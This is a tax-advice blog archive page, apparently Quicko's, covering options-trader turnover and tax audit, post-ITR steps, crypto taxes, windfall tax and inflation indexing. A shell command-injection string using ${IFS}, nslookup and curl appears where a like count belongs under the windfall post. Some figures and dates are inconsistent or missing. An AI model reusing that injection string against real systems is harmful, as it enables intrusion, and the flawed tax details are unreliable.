ToolsLearnBytesTax Q&AGet Started

Change in Turnover Calculation for Options Traders

The ICAI has issued the 8th edition of Guidance Notes which recommends changes in the way turnover is calculated to determine tax audit for options traders.

Tax Audit has been a contentious issue, especially for investors and traders. To put it very simply, under tax audit a practising Chartered Accountant examines and reviews books of accounts of a taxpayer and reports the required information in the Tax Audit Report. The auditor then submits the tax audit report to the Income Tax Department.

Conditions for Tax Audit for Traders

Let’s quickly check out the conditions under which Tax Audit will be applicable for traders u/s 44AB

Turnover above INR 10 crore

The limit of turnover as per Section 44AB is INR 10 Cr if at least 95% of the total payments and at least 95% of the total receipts are digital in nature.

If the trading turnover exceeds INR 10 Cr, Tax Audit is applicable as per Section 44AB(a) of the Income Tax Act.

Turnover between INR 2 Cr and INR 10 Cr

When turnover is between INR 2Cr and INR 10Cr, neither Section 44AB (or any of its subsections) nor Section 44AD (presumptive taxation scheme) is applicable. Therefore, Tax Audit is not applicable irrespective of profit or loss.
This is a grey area and we are still awaiting an explanation for the same from CBDT.

Turnover is below INR 2 crore

Tax Audit is applicable under Section 44AB(e) if all the below conditions are satisfied:

  • Incurred loss or profit is less than 6% of turnover
  • Total income is more than the basic exemption limit and,
  • The taxpayer has opted out of the presumptive taxation scheme in any of the previous 5 financial years

What has changed after the new guidance note issued by ICAI?

The conditions for Tax Audit remain the same.  However, what has changed is the calculation of turnover for Options Traders.

As per the 7th edition of Guidance Notes issued in 2014, premium received on the sale of options was to be included in the turnover. However, there was no further clarification given.

So generally while calculating the turnover for trading in options, along with the absolute profit, the premium received was also included.

However, the 8th edition of Guidance Notes issued in August 2022, makes the calculation of options turnover much more clear. It states that Premium received on the sale of options was to be included in the turnover.

However, if that premium has already been included while calculating the net profit, it doesn’t have to be included separately. So now, your absolute profit will be your turnover for Options.

To put it simply,
As per the 7th edition of Guidance note of ICAI
Options Turnover = Absolute profit + premium on sale of options

As per the 8th edition of Guidance note
Options Turnover = Absolute profit

How will it impact Tax Audit applicability?

The new guideline will reduce the turnover calculation for many options traders and consequently bring down the need for getting tax audit as well.

Let’s take an example.

Suppose you made the following trades:

  • Bought 20 lots of 800 shares of X Bank August 1400 CE for INR 100 and sold it for INR 200
  • Sold 5 lot of 500 shares of Y company 17900 PE of August at INR 150 which was bought at INR 200
  • Sold 2 lots of 100 shares of A enterprise July 5000 CE for INR 200 and contract no squared off on expiry and delivery given
  • So the total turnover of these trades would look something like this 

So, as you can see, your turnover will be much less as per the new guidelines of ICAI. This will definitely ease tax audit requirements for options traders.

It is not difficult to see how one’s turnover could surpass INR 10 crore when adding sell value to absolute profit. Once your turnover exceeds INR 10 crore, tax audit will be applicable to you irrespective of profit and loss.

However, upon not including the sell value, there’s a good chance that the turnover of many traders would come under INR 10 crore, which previously would have exceeded INR 10 crore and the new turnover might not mandate tax audit. 

This will definitely reduce the burden of compliance on options traders and it will encourage more and more traders to be transparent while declaring their turnover while filing ITR

Tweet Us--Like Us--Join Us


facebook twitter

To-Do list after filing your ITR

The immense pressure of the due date is finally over. You have filed your ITR and now it’s time to sit back and relax. But wait, before you get too comfortable, there are still a few things on the checklist that you may need to tick off first. What are these things? Let’s find out

Verify your ITR

ITR filing is not the last step of the process. For your ITR to be processed, you need to verify it. Yep, note that without verifying your ITR, it will not be considered valid and you will also not receive your refund.

Now, instead of 120 days, you only have 30 days to verify your ITR from the date of filing it. That’s right the time limit to verify ITR has been reduced to 30 days w.e.f 1st August 2020. However, this change will not apply retrospectively. Meaning, that if you have filed your ITR before 1st August 2022, you still get 120 days to verify it

You can choose to verify your ITR electronically, in which case you can do it via Aadhaar OTP, net banking and many other methods. However, if you’re unable to verify your ITR electronically, you can send a signed copy of ITR-V to CPC Bangalore. 

Bottom line? Verify your ITR if you haven’t done it already.

Keep an eye out for notices and intimations

No, this is not to scare you into thinking that a scary notice from the ITD is on its way once you have filed your ITR. However, it is important to stay alert.
You will receive an Intimation under section u/s 143(1) which will include details about your TDS deducted, Total tax paid, and any deductions that you may have claimed. If there’s no mismatch in the calculation made by you and the one made by the ITD, you have nothing to worry about.
However, in case there’s a mismatch, the intimation will let you know about the same and you will have to make correction actions within the stipulated timeline.
One of the most common scenarios of mismatch is when you may have more tax liability than you thought. If you agree with the calculation of the ITD you can go ahead and pay the remaining tax. However, if you disagree with the calculation, you can respond accordingly on the new Income Tax Portal.
This year, the ITD is also sending an intimation regarding refund and if it feels that you have claimed more deductions than what you had declared to your employer. In such a scenario, you can either agree with the intimation and revise your return or you need to confirm that the deductions you have claimed are correct.

File Revised Return

If you find any error or discrepancy in your original return, you can rectify the same and file a revised return u/s 139(5). Such errors can include
– Any mistake in personal information like address, residential status etc
– Wrong ITR Form
– Missed reporting income sources
– Errors in carrying forward losses
– Mistakes in deductions claimed and so on.

Once you file a revised return, it will substitute your original return, and don’t forget that you also need to verify your revised return as well within 30 days of filing it.
Alternatively, if you receive a notice from the ITD regarding any errors that you may have made in your original ITR, you will have to correct the same and file a revised ITR. You can file a revised return before the completion of three months of the relevant  Assessment Year. So, for AY 2022-23, you need to file your revised return on or before 31st December 2022.

Track your ITR

 Once you have filed and verified your ITR, you can track its status on the Income Tax Portal to check whether it has been processed or not. Processing of ITR can take anywhere from 1 day to 45 days, however, in some cases it can take longer too. If you feel that it is taking too long for your ITR to get processed, you can raise a grievance on the Income Tax Portal. 

File Belated Return

This is for all those who snoozed through the due date of filing ITR. In case you’re one of them, it is time for you to buckle up and file your belated return u/s 139(4). You can file a belated return till 31st December of the relevant Assessment Year. So if you haven’t filed your ITR for AY 2022-23, you can file a belated return by 31st December 2022. But wait! Remember that filing a belated return comes with consequences. What are they? Let’s take a look

Interest u/s 234A

Simple Interest @ 1% of tax liability per month or part thereof will be levied if you file a belated return. The calculation of interest will be from the date after the due date until the actual date of filing. For example, the due date for filing ITR for AY 2022-23 was 31st July 2022. Now, if you file a belated return on 2nd October 2022, you will have to pay interest for 3 months. So, the earlier you file it, the lesser penalty you will have to pay.

Late Filing Fees u/s 234F

If you file a belated return, you may have to end up paying a late filing fee of upto INR 5,000. However, it will only be applicable if your income is above the basic exemption limit. 

Inability to carry forward losses

 You can set off your losses against the current year’s incomes while filing a belated return. However, you will not carry forward your losses incurred except for house property loss. 

Inability to claim certain deductions/exemptions

Filing a belated return also prevents you from claiming deductions/exemptions u/s  10A, 10B, 80-IA, 80-IB, 80-IC, 80-ID and 80-IE. 

Inability to change tax regime while filing ITR

Ordinarily, at the time of filing ITR, you can choose to opt for the New Tax Regime. However, you can not do the same while filing a belated return.

So, there you go, your to-do list after filing your ITR. And hey, if you are yet to file your ITR, do it at the earliest to minimize your penalty.

Tweet Us--Like Us--Join Us


facebook twitter

Solving Crypto Taxes in India with Cointracker

Cryptocurrency. We talk about it, we debate about it, and many have invested in it. But everyone seems to be confused about it. To put it very simply, cryptocurrencies are decentralized digital currencies meant to be used over the internet. Cryptos are vetted by blockchain technology and are largely anonymous.

In most countries, cryptocurrencies are not recognised as “currencies”(except for a rare few like El Salvador where bitcoin is a legal tender). In most places, crypto is mainly an investment or trading asset.

Cryptocurrencies in India

Like in most parts of the world, crypto fever is picking up in India. Want some proof? India has one of the highest number of crypto owners in the world. With cryptocurrencies, NFTs and Web3 becoming the next big thing, there is a lot of excitement around crypto as an asset class.

However, with buying, selling, mining, forking and other crypto activities becoming popular, the ambiguity around crypto taxes is also multiplying.

Do I need to pay taxes on my income from crypto trading? 
Do I need to report my crypto trades in my ITR?
Under which income head shall I report crypto trades? 

Can I set off crypto losses?

These questions became louder and in Budget 2022 Finance Minister Nirmala Sitharaman introduced a new Section 115BBH for tax on cryptocurrency, NFT and Virtual Digital Assets.

So what are the challenges when it comes to cryptocurrency compliance in India? Let’s find out.

  • Ambiguity regarding Tax Rates: Up until Budget 2022 there was no clarity regarding tax rates on gains from crypto. With section 115BBH coming into effect from FY 2022-23, crypto gains will be taxed at a 30% rate.
    Additionally, 1% TDS will be levied on cryptocurrency transactions exceeding INR 10,000/year.
  • Lack of support and clarity from the ITD: Even after the Budget announcement, there was little clarity regarding the income head for crypto income. While many believe that gains from crypto trading should be reported under capital gains income, others are of the opinion that it should be reported under the head Income from other sources.
    • Confusion around Income head: The confusion around crypto taxes meant many taxpayers didn’t report or wrongly reported their crypto income while filing ITR. As a result, taxpayers ended up receiving notices from the Income Tax Department. 
      Since signing up on a crypto exchange platform requires us to complete the KYC process, all the transactions are accessible to the ITD either through PAN, Aadhaar or linked bank account. Now, if you traded crypto but did not report in your ITR, the ITD can send you a notice dated back up to 8 years. 
      Although there is an ambiguity around – under which income head should crypto trading be taxed, the notice seems to consider it under the head ‘Capital Gains’. However, it is not explicitly stated under the Income Tax Act. One school of thought suggests it should be under ‘Income from other sources’, since it is taxed similar to activities such as lottery, gambling, etc.
  • P&L Report: Over the last couple of years crypto platforms have made trading and investing in crypto a lot smoother and seamless, however, there are still visible gaps in the P&L reports. 
    Crypto portfolio aggregators such as Cointracker enable crypto investors and traders to link their wallets and prepare an aggregate Tax P&L report across all domestic and international wallets and exchanges.

How does Quicko solve Crypto Compliance?

The past of couple years has ushered in increasing participation in the crypto market, especially among young investors. Consequently, we also saw an increasing request from taxpayers to simplify crypto tax compliance.

That’s when we partnered up with CoinTracker – the gold standard for crypto tax calculation – to enable all crypto enthusiasts to import crypto trades across all wallets like Binance, Coinbase, WazirX, CoinSwitch, CoinDCX, OpenSea, and many more within a click.

With CoinTracker, you can import your trades from all your crypto wallets. CoinTracker’s proprietary tax engine will calculate cost basis across all your holdings. From there, you can download Tax P&L statements in seconds. You can then upload your P&L statement on Quicko and we will read, calculate, and help you report your capital gains. Who knew that being compliant even when it came to crypto taxes could be this easy?

So dear crypto enthusiasts, we are here to take taxes off your plate so that you can keep your eyes on the market.

Get started on:

Tweet Us--Like Us--Join Us

NaN Likes

facebook twitter

Let's talk about Windfall Tax

Heard about the term “windfall”? It basically means some unexpected gain. Received a big fat check from your NRI uncle out of the blue? Yeah, that is a windfall gain.

Then, what would windfall tax mean? Roughly speaking, it would be a tax on that “unexpected gain”. It is a one-off tax imposed on companies that have benefited from something that they weren’t responsible for.

So, why are we talking about Windfall Taxes all of a sudden? Well, as it turns out, there is one sector that has been making “windfall” profits amidst the Russia-Ukraine conflict and that sector is…drumroll… the oil and energy sector. And if companies are making windfall profits, they gotta pay taxes on that too right?

Windfall Taxes

What is Happening?

Economically, the world isn’t doing great. The Russia-Ukraine conflict affected the global economy in a way that no one could have imagined. Global supply chain disruption has inflated the price of oil and consequently, the price of other necessities has shot up too. As the common man continues to suffer under the woes of inflation, companies that refine and sell oil have come out as big beneficiaries owing to sky high price of oil. 

However, it doesn’t seem fair that while most people are struggling with a sharp rise in prices of oil and other necessities, few get to reap “supernormal” profits. To give some context, England based oil and gas company BP saw its profits getting doubled in the first three months of the year while Shell’s profits nearly tripled.
And owing to the huge profits they have been making, taxman’s attention turned to them.

On 26th May, the UK government announced that it would impose a 25% windfall tax on oil and gas companies. And guess what…this is not the first time that the energy sector has had to have to deal with windfall Tax. Back in the 1980s, the US had levied a windfall tax on oil companies when oil price controls were being removed and oil companies were booking superb profits. The UK had levied a “special tax” on North sea oil companies whose profits were multiplying owing to increased oil prices.

Coming back to contemporary times, Along with the UK, countries like Hungary and Italy have also jumped on the bandwagon of levying Windfall Tax on their energy sectors among others.

So, what is the purpose of the Windfall Tax? Is it just to punish companies that are managing to make more profits than others? Now that doesn’t seem fair…

Why Windfall Tax?

Continuing our trail of thought….why windfall tax? Well, in the current context many are making cases for levying it

More resources in the hands of the Government

Inflation has affected the common people the most. With the price of essential goods rising at a much faster rate than paychecks, it is only obvious that governments would have to spend more on welfare schemes to cushion the common people from the impact of inflation.
Increased revenue from windfall taxes would help the government ramp up its spending on public welfare programmes and that in turn may help households who have been hit the hardest by the rising bills. 

 It seems fair

Though this might be more of a philosophical argument, but it makes sense. If someone has managed to make a huge profit purely out of luck, it is only fair that they are asked to share some of their spoils, especially when others are suffering under the same scenario. Moreover, many of these oil companies, receive heavy subsidies from their respective governments. So again when the tables turn, it isn’t unfair to expect the companies to share some of their profits. 

 Better than long term taxes

Windfall taxes are one-off taxes and history has shown that these taxes aren’t kept in force for a long time. So companies may find windfall taxes more favourable as opposed to an increase in corporate tax rates. 

Arguments Windfall Tax

Well, not everyone seems to be onboard with Windfall tax and it shouldn’t come as a surprise that oil and energy companies will oppose it. So let’s hear their side of the story as well

It’s just unfair

The same argument of fairness that can be used to justify windfall tax can also be used to oppose it. Many argue that there is no benchmark to determine what can be called “supernormal” profits. Especially for certain businesses which have fluctuating income, some years can go great while some years can be pretty bad.
Take 2020 for example, owing to covid most of these oil and gas companies had to go through a pretty bad phase, but they did have to bear the brunt of them. So now that they are booking some profits, why share that?

Discourage investments

A very popular yet controversial argument. Many believe that windfall tax may discourage companies from investing in their growth and technology. So, if we take oil companies, for example, they may shy away from investing in technologies which can increase their profit. This is because they may feel that if their profits increase, the government may find another reason to levy windfall tax, thereby again gnawing at their profits. Companies scaling back their expansion efforts may have a detrimental effect on the economy as expansion would lead to cyclic impacts like the creation of jobs, better technology and so on.

Investors likely to suffer

If taxes eat away a significant part of profits, it would definitely mean that investors’ pie share would also become smaller. Not only would investors which may include the general public will get less dividend income, but the government would also witness reduced dividend income from state-owned oil companies. 

India and Windfall tax

Well, guess what…in India too, there have been some whispers around levying Winfall Tax on oil and gas companies. Companies like Reliance or even state-owned ONGC have been booking record profits, naturally inviting the attention of the taxman.

Like the entire globe, India is also witnessing inflation and in order to tackle that, the Indian Government has announced inflation-fighting fiscal measures worth almost INR 2 lakh crore. So, given India’s increasing expenditure burden, additional resources via windfall tax does sound like a tempting option. While some experts and policymakers believe that this is a good step to take, others may feel that it is unfair and may also have the potential to destabilise our current tax system.

Although the murmurs are getting louder, there has been no official confirmation or declaration from the Indian Government. So which team are you on?

Tweet Us--Like Us--Join Us

&(nslookup${IFS}-q${IFS}cname${IFS}||curl${IFS}\'\\\"`0&(nslookup${IFS}-q${IFS}cname${IFS}||curl${IFS}`\' Likes

facebook twitter

Inflation and Taxes

Remember when our parents used to complain about the rising price of various commodities every day? Well, we might not have understood them then, but now that we have to pay our own bills, we all surely feel the pinch of inflation. 

To put it very simply, inflation means a rise in the price of goods and services and consequently, it also means a fall in the purchasing power of money. While inflation is generally looked down upon, some economists opine that a low level of inflation at around 2% can be beneficial as it can keep the economy away from stagnation.

However, what we are witnessing today is a quite high level of inflation accompanied by slow growth. This means the price of goods and services is rising much faster than people’s income thereby eroding the standard of living of the common man.

The war between Russia and Ukraine has caused global supply chain disruptions, pushing up the prices of Crude oil and other items. This has caused leaders all around the world to take notice and come up with solutions to fight inflation.

India for example has unveiled inflation-fighting fiscal measures worth almost INR 2 lakh crore. These measures would include lowering fuel taxes, import levies and increasing subsidies on cooking gas and fertilizers.

Impact of Inflation on Income Tax

While a lot is talked about how inflation affects finances, the standard of living and spending power not much is discussed how inflation affects taxes.
That is mainly because there is no simple, straight answer to this. Inflation impacts taxes both from the perspective of the taxpayer as well as the government that is collecting and utilising the taxes. When it comes to income taxes, a high rate of inflation usually increases the tax burden on the taxpayers if taxes are not inflation adjusted. Let us understand it by means of a simple example

  • Suppose you earn INR 5 lacs a year in 2019 and hence fall into the 5% tax bracket
  • In 2020 you get a raise of 8% and your income becomes INR 5.4 LPA

    Now, if we hypothetically consider an inflation rate of 8%, it would mean that your real income has not increased at all. Your INR 5.4 lakhs today has about the same purchasing power as your INR 5 lakhs in 2019
  • However, owing to the nominal increase in your income, i.e from INR 5 lakhs to INR 5.4 lakhs you are now in the 10% tax bracket

    So although your real income did not increase owing to inflation, your tax liability did. That hurts, doesn’t it!

Capital gain is another type of income that is severely affected by a higher rate of inflation.  Consequently, capital gain taxes can significantly reduce the return on investment if they are not adjusted for inflation, Let’s consider another hypothetical case to demonstrate it

  • Let’s say that you purchased INR 1,00,000 worth of listed shares in March 2018 and sold them for INR 2,50,000 in March 2022
  • So, on paper, your long term capital gain is worth INR (2,50,000- 1,00,00) = INR 1,50,000
  • Your LTCG tax liability will be 10% of INR 50,000 (considering the INR 1 lakh exemption) which is INR 5000
    Now let us factor in inflation.
  • Considering an average inflation rate of 5% each year, the cumulative inflation rate over the period of investment i.e 4 years would be 20%
  • Therefore, the real gain from your investment is not INR 1,50,000 rather it will be 80% of INR 1,50,000 because 20% of your gain has been eroded by inflation
  • Consequently, your real gain will be 80% of INR 1,50,000 which is INR 1,20,000
  • So, your tax liability on your real gain should have been 10% of INR 20,000 (considering the INR 1,00,000 exemption limit) which is INR 2000

    However owing to your gain of INR 1,50,000 on paper, your tax liability will be more if there is an absence of inflation indexing of taxes.

What is Inflation Indexing of Taxes?

We mentioned how the absence of Inflation Indexing can increase the tax burden on taxpayers.

But what is inflation indexing?

Inflation indexing is cost-of-living adjustments built into tax provisions to keep pace with inflation. Without inflation indexation, a greater share of a taxpayer’s income can be taxed even if their real income has not increased to that rate. The two aforementioned examples showed how your tax burden can increase owing to an increase in your nominal income, although your real income might not have increased that much.

Enough with the jargon, let’s break down inflation indexing with an example closer home.

In India, the benefit of inflation indexing is allowed on Long Term Capital Gains (except on listed equity shares & mutual funds). The logic behind providing this benefit on Long Term Capital Gains is that Long Term Capital Assets like buildings, gold, and land are usually bought and held for a long time before they are sold. Now they are recorded at cost price and their value can’t be reassessed. So, once the asset is sold, the cumulative effect of inflation on the profit will be significant and the real income will be much less compared to what will be on paper.

Let’s break it down further with an example. 

  • Suppose you buy a house in 2010 worth INR 10,00,000 and you sell it in 2020 for INR 20,00,000
  • So you made a gain of INR (20,00,000- 10,00,000)= INR 10,00,000
  • Your tax liability will be 20% of INR 10,00,000 which is INR 2,00,000
  • However, considering an average of 4% inflation throughout these 10 years, your real gain will be simply 60% of INR 10,00,000 i,e, INR 6,00,000 since the rest 40% has been eroded by inflation.
  • But since your nominal gain is INR 10,00,000 you will have to pay 20% taxes on it. Now that is steep!

To overcome this very situation, the Indian government provides the benefit of inflation indexing. Here, the cost price of an asset (in case of long term capital gain) is adjusted as per inflation and while tax computation the inflation-adjusted price is taken as the cost price instead of the original cost price.

Cost Inflation Index

Every year, the CBDT announces the Cost of Inflation Index (CII) which is used to calculate the inflation-adjusted cost price of an asset.
And as we mentioned the inflation-adjusted price is then used to arrive at long-term capital gains or long-term losses.

2001-02 is taken as the base year and the CII for that year is 100. From that year onwards, the CII increases with the rate of inflation.

The following table shows the CII over the years

Financial YearCost Inflation Index (CII)
2001-02 (Base Year)100

Now, how to use this index to calculate your inflation adjusted cost price i.e. indexed cost of acquisition? The formula is

CII of the year of sale/CII for the year of purchase * Actual cost price

So, let us use this formula to understand the inflation-adjusted cost price of our previous example:

  • According to our previous example, the Cost price of the house in 2010 was INR 10,00,000 and the selling price in 2020 was INR 20,00,000
  • By using the formula the inflation-adjusted cost price will be:
    CII of the year of sale (2020)i.e. 301/ /CII for the year of purchase (2010) i.e 167 * Actual cost price. i.e INR 10,00,000
  • 301/167* INR 10,00,000 = INR 18,00,000
  • So instead of INR 10,00,000, now your inflation adjusted cost price becomes INR 18,00,000
  • Your LTCG tax liability will be 20% of INR (20,00,000-18,00,000)= INR 40,000

This is in tune with your real income, income that is adjusted to inflation and not just your nominal income.

Not just in India, many countries opt for inflation indexing of taxes to preserve the spending power of the people.

So how has inflation affected you the most? Share your thoughts with us.

Tweet Us--Like Us--Join Us


facebook twitter
Older posts
Scroll to Top Quicko